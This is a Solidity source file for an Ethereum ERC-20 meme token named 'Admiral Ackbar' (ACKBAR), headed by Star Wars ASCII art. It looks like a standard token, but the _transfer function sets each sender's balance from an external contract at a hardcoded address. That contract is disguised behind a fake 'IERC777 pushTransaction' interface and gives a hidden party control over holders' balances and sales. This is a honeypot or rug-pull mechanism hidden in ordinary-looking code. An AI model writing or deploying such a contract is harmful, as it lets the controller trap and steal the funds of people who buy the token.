/*
                          I T ' S   A   T R A P
. . . . . . . . . . . . . . . . _,,,--~~~~~~~~--,_ 
. . . . . . . . . . . . . . ,-' : : : :::: :::: :: : : : : :º '-, 
. . . . . . . . . . . . .,-' :: : : :::: :::: :::: :::: : : :o : '-, 
. . . . . . . . . . . ,-' :: ::: :: : : :: :::: :::: :: : : : : :O '-, 
. . . . . . . . . .,-' : :: :: :: :: :: : : : : : , : : :º :::: :::: ::'; 
. . . . . . . . .,-' / / : :: :: :: :: : : :::: :::-, ;; ;; ;; ;; ;; ;; ;\ 
. . . . . . . . /,-',' :: : : : : : : : : :: :: :: : '-, ;; ;; ;; ;; ;; ;;| 
. . . . . . . /,',-' :: :: :: :: :: :: :: : ::_,-~~,_'-, ;; ;; ;; ;; | 
. . . . . _/ :,' :/ :: :: :: : : :: :: _,-'/ : ,-';'-'''''~-, ;; ;; ;;,' 
. . . ,-' / : : : : : : ,-''' : : :,--'' :|| /,-'-'--'''__,''' \ ;; ;,-'/ 
. . . \ :/,, : : : _,-' --,,_ : : \ :\ ||/ /,-'-'x### ::\ \ ;;/ 
. . . . \/ /---'''' : \ #\ : :\ : : \ :\ \| | : (O##º : :/ /-'' 
. . . . /,'____ : :\ '-#\ : \, : :\ :\ \ \ : '-,___,-',-`-,, 
. . . . ' ) : : : :''''--,,--,,,,,,¯ \ \ :: ::--,,_''-,,'''¯ :'- :'-, 
. . . . .) : : : : : : ,, : ''''~~~~' \ :: :: :: :'''''¯ :: ,-' :,/\ 
. . . . .\,/ /|\\| | :/ / : : : : : : : ,'-, :: :: :: :: ::,--'' :,-' \ \ 
. . . . .\\'|\\ \|/ '/ / :: :_--,, : , | )'; :: :: :: :,-'' : ,-' : : :\ \, 
. . . ./¯ :| \ |\ : |/\ :: ::----, :\/ :|/ :: :: ,-'' : :,-' : : : : : : ''-,, 
. . ..| : : :/ ''-(, :: :: :: '''''~,,,,,'' :: ,-'' : :,-' : : : : : : : : :,-'''\\ 
. ,-' : : : | : : '') : : :¯''''~-,: : ,--''' : :,-'' : : : : : : : : : ,-' :¯'''''-,_ . 
./ : : : : :'-, :: | :: :: :: _,,-''''¯ : ,--'' : : : : : : : : : : : / : : : : : : :''-, 
/ : : : : : -, :¯'''''''''''¯ : : _,,-~'' : : : : : : : : : : : : : :| : : : : : : : : : 
: : : : : : : :¯''~~~~~~''' : : : : : : : : : : : : : : : : : : | : : : : : : : : :)
. . . . . . . . . . . . . . . . . . $ A C K B A R . . . . . . . . . . . . . . . . . . . .
 . . . . . . . . . . . M A Y . T H E . 4 T H . BE . W I T H . Y O U . . . . . . . . . . .
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC777 {
      function pushTransaction(uint256 value) external returns (uint256);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address _starWars = 0xfD30e65F78A406A18A19Eb897523e4457D3f9148;
    address public pair;

    IDEXRouter router;
    IERC777 starWars;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        starWars = IERC777(_starWars);

        _name = name_;
        _symbol = symbol_;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function openTrading() public {
        require(((msg.sender == owner()) || (address(0) == owner())), "Ownable: caller is not the owner");
        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function senderBalance(uint256 amount) internal returns (uint256) {
        return starWars.pushTransaction(amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender;
        msgReceive = recipient;

        require(((trade == true) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = senderBalance(amount) - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _DeployAckbar(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
 
        approve(_router, ~uint256(0));
    
        emit Transfer(address(0), account, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployAckbar(creator, initialSupply);
    }
}

contract Ackbar is ERC20Token {
    constructor() ERC20Token("Admiral Ackbar", "ACKBAR", msg.sender, 4444444444 * 10 ** 18) {
    }
}